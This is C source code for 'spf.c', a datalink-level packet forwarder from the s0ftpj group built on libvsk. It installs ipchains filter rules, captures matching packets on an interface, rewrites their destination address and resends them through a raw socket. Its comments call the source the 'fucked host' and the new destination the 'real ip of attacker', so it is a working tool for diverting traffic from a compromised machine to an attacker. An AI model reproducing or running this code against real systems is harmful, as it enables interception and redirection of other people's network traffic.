/* ** vecna - vecna@s0ftpj.org ** simple packet forwarder from datalink level ** using libvsk - unique file "spf.c" */ #include "libvsk.h" #include extern int errno; #define fatal(M) { \ perror(M); \ exit(0); \ } int check_dup(struct ipkt *); void setport(char *, char *, int[]); int main(int argc, char **argv) { int dlsfd, rsfd, opt, proto, forward, hdrincl =1, offset =0, x, port[4]={0, 0xFFFF, 0, 0xFFFF}; /* ** datalink sockfd, raw sockfd, options index, proto ** listened, offset is size datalink protocol header ** port[4] array for puts source/dest/high/low port */ char *iface; /* ** interface name. */ char *ipsrc, *ipdst; /* ** ipsrc =fucked host, ipdst =bnc ip */ unsigned int real; /* ** real ip of attacker where forward packets */ char *rcvd =malloc(sizeof(struct ipkt)); /* ** memory area where put packet, packet is readed with ** datalink header, offset is size of this header and ** is used on main cicle, *rcvd is delclared here for ** make only one allocation. */ printf("\t simple packet forwarded for multiple pourpose\n"); printf("\t by vecna - vecna@s0ftpj.org - www.s0ftpj.org\n\n"); if(argc != 11) { printf( "\t usage %s -t -n -p -i -s" "\n\t -t source of packet" "\n\t -n new destination" "\n\t -s service (UDP/TCP) type (ICMP) 0 if any" "\n\t -p protocol" "\n\t -i interface" "\n",argv[0]); exit(0); } while(( opt = getopt(argc, argv, "t:n:i:p:s:")) != -1) { struct protoent *pe; switch(opt) { case 't': ipsrc =optarg; break; case 'n': if(( real =inet_addr(optarg)) == -1) { errno =EINVAL; fatal("-r option required IP"); } break; case 'p': if ((pe = getprotobyname(optarg)) == NULL) fatal("getprotobyname"); proto = pe->p_proto; break; case 'i': iface =optarg; break; case 's': if(!atoi(optarg)) break; port[2] =port[3] =atoi(optarg); break; default: if(optarg) fprintf(stderr,"%s on",optarg); errno =EINVAL; fatal(" getopt()"); break; } } ipdst =NULL; if(( dlsfd =set_vsk_param(ipsrc, ipdst, port, iface, proto, IO_IN, IP_FW_INSERT, 0, 0))<0) fatal("set_vsk: IP_FW_INSERT"); /* ** IP_FW_DELETE must be used on signal(SIGCLOSE, unset_vsk()); ** or use "ipchains -F", as in this example where filtering ** rules is not clean after end of program. */ if((offset =get_offset(dlsfd, iface)) <0) fatal("get device offset"); if((forward = socket(AF_INET, SOCK_RAW, proto)) == -1) fatal("forward socket - SOCK_RAW"); if((x = setsockopt(forward, IPPROTO_IP, IP_HDRINCL, &hdrincl, sizeof(hdrincl))) == -1) fatal("setsockopt - IP_HDRINCL"); while(1) { struct ipkt *packet; static int last_id; read(dlsfd, rcvd, sizeof(struct ipkt)); (char *)packet = rcvd + offset; if(check_dup(packet)) continue; /* questo e` il ciclo principale, in ordine: leggo sul socket a datalink quello che mi arriva, faccio un cast in una struttura ipkt che contiene ip header + buffer dati (in questo momento non conosco ancora il protocollo di livello inferiore) dopo aver sommato l'offset per levare l'header di livello 2, poi con check_dup controllo se e` il pacchetto che ho appena ristrasmesso o se e` un altro pacchetto, poi con check_packet controllo se e` uno dei pacchetti filtrati, poi ... vediamo il codice ... */ if(check_packet(packet, packet->ip.protocol)) { struct sockaddr_in sin; struct udphdr *udp; struct tcphdr *tcp; struct icmphdr *icmp; /** other manipulation on iphdr can applied here **/ packet->ip.daddr = real; packet->ip.check = 0x00; /* bhe, e` abbastanza semplice, qui ho il pacchetto in una struttura ipkt, a seconda del campo "protocol" riesco a fare degli opportuni cast e lavorare anche su quell'header, dopo aver letto o cambiato o fatto qualunque cosa al pacchetto... */ switch(packet->ip.protocol) { case IPPROTO_ICMP: (char *)icmp =(char *)packet +sizeof(struct iphdr); sin.sin_port =htons(0); break; case IPPROTO_TCP: (char *)tcp =(char *)packet +sizeof(struct iphdr); sin.sin_port =tcp->dest; break; case IPPROTO_UDP: (char *)udp =(char *)packet +sizeof(struct iphdr); sin.sin_port =udp->dest; break; default: printf(" PROTOCOL NOT SUPP\n"); break; /* ** other manipulation at icmp/udp/tcp header ** can applied on switch() */ } sin.sin_family = AF_INET; sin.sin_addr.s_addr = packet->ip.daddr; x =resend(forward, packet, sin, ntohs(packet->ip.tot_len), NULL, 0); if(x < 0) fatal("sendto on forwarding packet"); } } free(rcvd); /* never used :) */ } int check_dup(struct ipkt *packet) { static int last_id; int id =htons(packet->ip.id); if(id ==htons(last_id)) return 1; last_id =packet->ip.id; return 0; }